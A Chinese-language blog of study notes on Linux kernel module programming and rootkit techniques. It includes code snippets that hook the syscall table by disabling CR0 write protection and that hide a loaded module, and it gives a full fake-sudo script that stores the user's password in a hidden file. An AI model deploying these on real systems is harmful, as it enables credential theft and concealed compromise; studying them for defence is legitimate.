这个教程就是没有英文字母,其实看起来还好,还有是windows的。
reference得一个个看掉:
[1] ”Abuse of the Linux Kernel for Fun and Profit” by halflife
[Phrack issue 50, article 05]
上面的编译不通过,包含的头文件有问题,加了 -I/usr/src/kernels/$(shell
uname -r)/include/ -I/usr/src/kernels/$(shell uname
-r)/arch/x86/include/,但是貌似报错越来越多,看来是个系统工程。只能先看
下面这个补一下LKM的知识(学东西就是各种坑的)。原来是这样,这个make要加
上 -C
再试一下这个教程。不行,一样的问题,基本的helloworld.c都编译不通过, 再 找一个教程。
这本来是一个收费课程, introduction-linux-kernel-programming-2nd-edition 现在还是收费的,没有 美元信用卡,不过免费的就是有点过时,其实也没什么。Linux Kernel in a Nutshell(lkn) 是这个课程的参考书,不喜欢刚开始就翻大部头。刚开始的编译 最新内核,启动不了。运行的内核版本3.10.0-229.7.2,CentOS 7,和教程里面 的Ubuntu 10.4不一样,我只需要make module_install, make install。还有一 个dracut代替教程里面的update-initramfs命令(可是我觉得没必要,因为 initramfs已经生成了。是的,现代的内核就是这样,我从评论区和第二版教程上 确认了。),不深究,先写LKM。(下面的坑其实都不用细看,只要这个教程学完 就可以了。我留下这些note是觉得hack的过程,比单纯的罗列知识点更自然。当 然我也是小白什么都不懂。)
第八章 留下一个坑。
Exercise for the student: Predict what will happen with a message you print from your crash3 module with a priority of KERN_DEBUG. Test it.
我将crash3.c中的printk第一个宏改成了KERN_DEBUG,insmod之后,cat /var/log/message没有找到输出,搜索了一下。发现了Linux Device Drivers(ldd3), 3rd Edition – chp-4-sect-2,以及福利! (这本书竟然有中 文版,留坑待填。先不管,继续LKM。)linux - Where does output of print in kernel go? 这里看到答案。
➜ crash3 dmesg|grep crash3 [26608.501991] crash3 module being loaded. [26646.168736] crash3 module being unloaded. [29784.621436] crash3 module being loaded. [35418.826363] crash3 module being unloaded.
通过上面,确实看到了输出,不过不知道原理(linux/kernel/printk.c 源码留坑)
还是第八章 下面有一个练习:
Exercise for the student: If you're running the stock Ubuntu kernel (and you should be), how can you verify that the kernel doesn't support forced module unloading? Besides, of course, just trying it and having it fail.
本来想留个坑的,算了。参见CONFIG_MODULE_FORCE_UNLOAD。 至于原理嘛,看这里, 还有 这里。
第九章 留下一个坑(很好的思路):
While we've restricted ourselves to just the int module parameter type, there are a number of others including uint, byte, short, ushort, pointers, character strings and more. To see the full list, peruse the kernel header file include/linux/moduleparam.h. An excellent way to understand any kernel feature is to scan the kernel source tree looking for examples of its usage. Assuming that your system has the module usbhid, use modinfo to check its properties, then examine its source file under drivers/hid/usbhid/hid-core.c to examine its parameters, and compare what you see with what's under the /sys directory.
第十章 的坑:
Exercise for the student: By far, the most common export directive is EXPORT_SYMBOL. If you know how to use grep, scan the kernel source tree to see how many times someone is very carefully exporting a symbol only to GPL-compatible modules with EXPORT_SYMBOL_GPL.
这道题目非常简单:
➜ intro-linux-kernel-programming grep -r EXPORT_SYMBOL_GPL ./linux/*|wc -l 16483
这一章教程称赞了”Linux Kernel Development(lkd)“的作者Robert Love(也是 本教程参考书lkn 的作者)是kernel wizard。这位巫师说:一个module其实比内 核内部得到更加受限制的内核符号表。
"Core code can call any non-static interface in the kernel because all core source files are linked into a single base image."That means that normal non-static, unexported symbols in kernel space are available to other routines that are built into the kernel, but are not available to loadable modules. In short, your modules are working with a more restricted kernel symbol table than other routines that are part of the kernel itself.
还简洁的指出,所谓系统API不过是内核的导出符号而已。
"The set of kernel symbols that are exported are known as the exported kernel interfaces or even (gasp) the kernel API."
十二章 留下了RTFS( Read The Fine/FUCK Source)的坑,
并给我留下指引:
- fs/proc/ -- a directory of code to generate a number of proc files, including some you've already seen, - include/linux/fs.h -- declarations for various, generic filesystem structures, - include/linux/proc_fs.h -- declarations for the various proc file routines, many of them declared as static inlines, - include/linux/seq_file.h -- declarations specifically for the "sequence file" implementation of proc files, and - the book "Linux Device Drivers (3rd ed)",referred to as "LDD3" and available online here -- it has an excellent section on proc files in Chapter 4 that I'll be referring to a bit later on.
Linux Device Drivers (3rd ed)这本书就是上文说到福利 那本,真是缘分。真 是可惜,这本书有新版本了,ldd4 。
十二章 课后作业:
Exercise for the student: Based simply on what we've explained above, trace through the code in kernel/irq/proc.c to get a general idea of how that entire subdirectory comes into existence. Additional exercise for the student: If you're feeling ambitious, combine the earlier jiffies and HZ examples into a single module, and put those two proc files underneath a /proc directory of your name. There is an additional challenge here, though -- you need to add exit code so that your proc files and directory are deleted when you unload the module and, no, I'm not going to explain how to do that. You're on your own there. Time to get your feet wet and jump into the kernel code and figure out how to do that just from reading the source and the header files mentioned above.
代码在这里kernel/irq/proc.c 留待把。
[2] ”Weakening the Linux Kernel” by plaguez
[Phrack issue 52, article 18]
It's important to note that there are attempts to prevent runtime loading of new LKM's. You can do this by setting the flag in /proc/sys/kernel/modules_disabled. There won't be much talk about bypassing that on this first part, but we'll look at it and get around it in part 3.
modules_disabled应该是在这里。 https://github.com/torvalds/linux/blob/master/kernel/module.c
通过strace分析得到要改写的内核api,然后套一个module模板代码, 将要钩住的函数改掉。
strace -v -s 1024 -o file /bin/ls This will cause strace to be verbose, increase default string limit, and write to a file called 'file'.
通过strace命令分析ls的调用的内核接口。然后得到如下总结。
If you were to man 2 system_call_name, you can see most everything you'd want to know. We have a description, arguments, types, usages, and more readily available.
通过man 2 xxx来查内核接口,并且得到ls命令大概的实现流程,漂亮。
With a new understanding about how these functions work, let's put it all together to understand how ls works with system calls to display the inormation. It starts off with openat to open a file descriptor with the given directory, which was current (.) in our case. Then it grabs the information on each of the files/directories in the given directory by using getdents and fstat. Getdents retriveving virtual filesystem information such as inode number and name. Fstat retrieving common information such as timestamps, privilege values, block size, and etc. Finally, we take the parsed values of the program and write them to the standard out terminal screen.
最后分析得到的结论是钩住write()。
找sys_call_table,这里直接暴力查找的,O(n)可以接受, 代码在find()这个自己写的函数内,可以替换成其他手法。
/* disable write protect on page in cr0 */ write_cr0(read_cr0() & (~ 0x10000)); /* hijack functions */ o_write = (void *) xchg(&sys_call_table[__NR_write],rooty_write); /* return sys_call_table to WP */ write_cr0(read_cr0() | 0x10000);
如上,关闭控制寄存器cro的写保护(WP)。然后将自己写的假的系统调用 rooty_write和系统调用表内保存的write的地址交换。重新开启cro写保护。最后 就是rooty_write实现了。注意函数签名要和write完全一样。这里只是示意一下, 有bug的。
/* Do kernel module hiding*/ list_del_init(&__this_module.list); kobject_del(&THIS_MODULE->mkobj.kobj);
如上,将module“删除”了,这样rmmod也不能正常卸载驱动了,开发的时候要注释 掉。
Tools such as strace and truss allow a process to execute from start and report all system calls the process invokes, or can attach to an already running process and intercept any system call made by said process if the operation does not violate the permissions of the user. This special ability of the program is usually also implemented with a system call, e.g. strace is implemented with ptrace or system calls on files in procfs.
Roughly speaking, the code belonging to the system call with number __NR_xxx defined in /usr/include/asm/unistd.h can be found in the Linux kernel source in the routine sys_xxx(). (The dispatch table for i386 can be found in /usr/src/linux/arch/i386/kernel/entry.S.) There are many exceptions, however, mostly because older system calls were superseded by newer ones, and this has been treated somewhat unsystematically. On platforms with proprietary operating-system emulation, such as parisc, sparc, sparc64, and alpha, there are many additional system calls; mips64 also contains a full set of 32-bit system calls.
对x86平台来说
#define asmlinkage CPP_ASMLINKAGE __attribute__((regparm(0))) #define FASTCALL(x) x __attribute__((regparm(3))) #define fastcall __attribute__((regparm(3)))
__attribute__((regparm(0))):告诉gcc编译器该函数不需要通过任何寄存器来 传递参数,参数只是通过堆栈来传递。 __attribute__((regparm(3))):告诉gcc编译器这个函数可以通过寄存器传递多 达3个的参数,这3个寄存器依次为EAX、EDX 和 ECX。
本教程不仅仅是学习作者的手法,更要学习他的分析的思路。
Virtual file systems (VFS) are an abstraction layer to allow easy communication with other filesystems such as ext4, reiser fs, or other special filesystems like procfs. This extra layer translates easy to use VFS functions to their appropriate functions offered by the given filesystem. This allows a developer to interact solely with the VFS and not needing to find, handle, and support the different functions and types of individual filesystems. There are two major reasons why we should care about this. First, we can hook a VFS function and deal with that one function to hide information from the concrete filesystem. This allows a one stop shop hijack for hiding from any VFS supported filesystem (the majority of them). With this we will have the ability to hide files and directories from most tool with ease. The second reason is that procfs is a supported filesystem.
The proc filesystem is an interface to easily manage kernel data structures. This includes being able to retrieve and even change data inside the linux kernel at runtime. More importantly, for us, it also provides an interface for process data. Each process is mapped to procfs by its given process id number. Retrieving this pid number allows any tool to pull, with appropriate privileges, whatever data it needs to find out about that given process. This includes its memory mapping, memory usage, network usage, parameters, environment variables, and etc. Given this, if we know the pid and we're hooked into the VFS for procfs, we can also manipulate data returned to these tools to hide processes.
We will then need to get another VFS pointer to /proc for the procfs to hide processes. But what pointer/function do we want to hijack?
So, when we hijack file->f_op->readdir all we really need to do is manage our own filldir function, parse it, and then call the real readdir with our filldir values.
With 3.11 kernels, vfs_readdir has been completely removed and now
uses iter_dir for the new iterator value in file_operations. This
looks like "file->f_op->iterate(file, ctx);" where ctx is struct
dir_context *ctx. This structure looks like:
struct dir_context {
const filldir_t actor;
loff_t pos;
};
I will update this post as soon as full coverage for 3.11 kernels is
completed.
真期待后续的教程。后面两篇都反复看不懂。
I believe next I'll be starting a malware writing series so we can start building malware functionality and then adding rootkit functionality to hide what the malware is doing. It'll involve communication over an already bounded externally available port, magic packets for reverse shells, and complete hiding from our rootkit. This all depends on my time available and how well this current series does.
好猥琐的手法。开始看作者其他的文章,一个人不可能一下子这么牛逼的。 首先将下面脚本保存成fake-sudo.sh。命令行”chmod +x fake-sudo.sh”加上执行权限。 在.bashrc加上”alias sudo=”/location/to/fake-sudo.sh”。
#!/bin/bash if [ ! -f .chak ]; then #如不存在.chak文件 echo -n "[sudo] password for `whoami`: "; #现实要求输入密码 stty -echo; #关闭回显 read password; #读取密码,保存到变量password stty echo; #打开回显 echo -e $password > .chak; #将密码保存,-e:enable backslash escapes,测试无效果。 echo "" sleep 2 echo "Sorry, try again"; fi string="/bin/sudo" #$#:添加到shell中的参数个数 while test $# -gt 0; do string+=" $1"; #添加$1 shift; #命令参数左移,$3-->$2,$2-->$1,$1消失,$0保持不变。 done $string #执行命令
然后等下次作者sudo的时候,最后的结果:
➜ ~ sudo yum search ssh [sudo] password for ice: Sorry, try again [sudo] password for ice:
然后.chak文件将保存你输入的密码。 最后尝试下su命令不能写出对应的版本,因为su如果输入错误直接认证失败了,除非钩住登陆的方法。
Linux Rootkit (vfs hook) 隐藏进程检测工具 Linux下的RootKit简单介绍与分析 How to write a Linux VFS filesystem module
总结windows rootkit的演变历史。
First generation rootkits were primitive. They simply replaced / modified key system files on the victim's system. The UNIX login program was a common target and involved an attacker replacing the original binary with a maliciously enhanced version that logged user passwords. Because these early rootkit modifications were limited to system files on disk, they motivated the development of file system integrity checkers such as Tripwire [1]. In response, rootkit developers moved their modifications off disk to the memory images of the loaded programs and, again, evaded detection. These 'second' generation rootkits were primarily based upon hooking techniques that altered the execution path by making memory patches to loaded applications and some operating system components such as the system call table. Although much stealthier, such modifications remained detectable by searching for heuristic abnormalities. For example, it is suspicious for the system service table to contain pointers that do not point to the operating system kernel. This is the technique used by VICE [2]. Third generation kernel rootkit techniques like Direct Kernel Object Manipulation (DKOM), which was implemented in the FU rootkit [3], capitalize on the weaknesses of current detection software by modifying dynamically changing kernel data structures for which it is impossible to establish a static trusted baseline.
https://web.archive.org/web/*/rootkit.com/vault/* http://opensecuritytraining.info/Rootkits.html
kpatch is a Linux dynamic kernel patching infrastructure which allows you to patch a running kernel without rebooting or restarting any processes. It enables sysadmins to apply critical security patches to the kernel immediately, without having to wait for long-running tasks to complete, for users to log off, or for scheduled reboot windows. It gives more control over uptime without sacrificing security or stability.
Ring3 / Ring0 Rootkit Hook Detection 1/2 Ring3 / Ring0 Rootkit Hook Detection 2/2
Syscall Hijacking: Simple Rootkit (kernel 2.6.x) Syscall Hijacking: Dynamically obtain syscall table address (kernel 2.6.x) #2
http://pdos.csail.mit.edu/6.828/2014/xv6.html
I recommend Xv6. This is a "teaching kernel", based on Linux predecessor v6. The advantage is that Xv6 is much simpler, but maintains the same skeleton as Linux. The full source code is available and runs in a VM. The related book is very readable, and makes specific references to source code, so it's clear.
http://www.cs.uic.edu/~jbell/CourseNotes/OperatingSystems/
PS "Computer Architecture, A Quantitative Approach ", i agree, it's an amazing book
这本书过时了,有第四版了,可惜没有电子版看起来不方便。
The distinction between mechanism and policy is one of the best ideas behind the Unix design. Most programming problems can indeed be split into two parts: "what capabilities are to be provided" (the mechanism) and "how those capabilities can be used" (the policy). If the two issues are addressed by different parts of the program, or even by different programs altogether, the software package is much easier to develop and to adapt to particular needs.
When writing drivers, a programmer should pay particular attention to this fundamental concept: write kernel code to access the hardware, but don't force particular policies on the user, since different users have different needs. The driver should deal with making the hardware available, leaving all the issues about how to use the hardware to the applications. A driver, then, is flexible if it offers access to the hardware capabilities without adding constraints. Sometimes, however, some policy decisions must be made. For example, a digital I/O driver may only offer byte-wide access to the hardware in order to avoid the extra code needed to handle individual bits.
Device control Almost every system operation eventually maps to a physical device. With the exception of the processor, memory, and a very few other entities, any and all device control operations are performed by code that is specific to the device being addressed. That code is called a device driver. The kernel must have embedded in it a device driver for every peripheral present on a system, from the hard drive to the keyboard and the tape drive. This aspect of the kernel's functions is our primary interest in this book.
A character (char) device is one that can be accessed as a stream of bytes (like a file); a char driver is in charge of implementing this behavior. Such a driver usually implements at least the open, close, read, and write system calls. The text console (/dev/console) and the serial ports (/dev/ttyS0 and friends) are examples of char devices, as they are well represented by the stream abstraction. Char devices are accessed by means of filesystem nodes, such as /dev/tty1 and /dev/lp0. The only relevant difference between a char device and a regular file is that you can always move back and forth in the regular file, whereas most char devices are just data channels, which you can only access sequentially. There exist, nonetheless, char devices that look like data areas, and you can move back and forth in them; for instance, this usually applies to frame grabbers, where the applications can access the whole acquired image using mmap or lseek.
Like char devices, block devices are accessed by filesystem nodes in the /dev directory. A block device is a device (e.g., a disk) that can host a filesystem. In most Unix systems, a block device can only handle I/O operations that transfer one or more whole blocks, which are usually 512 bytes (or a larger power of two) bytes in length. Linux, instead, allows the application to read and write a block device like a char device—it permits the transfer of any number of bytes at a time. As a result, block and char devices differ only in the way data is managed internally by the kernel, and thus in the kernel/driver software interface. Like a char device, each block device is accessed through a filesystem node, and the difference between them is transparent to the user. Block drivers have a completely different interface to the kernel than char drivers.
Any network transaction is made through an interface, that is, a device that is able to exchange data with other hosts. Usually, an interface is a hardware device, but it might also be a pure software device, like the loopback interface. A network interface is in charge of sending and receiving data packets, driven by the network subsystem of the kernel, without knowing how individual transactions map to the actual packets being transmitted. Many network connections (especially those using TCP) are stream-oriented, but network devices are, usually, designed around the transmission and receipt of packets. A network driver knows nothing about individual connections; it only handles packets.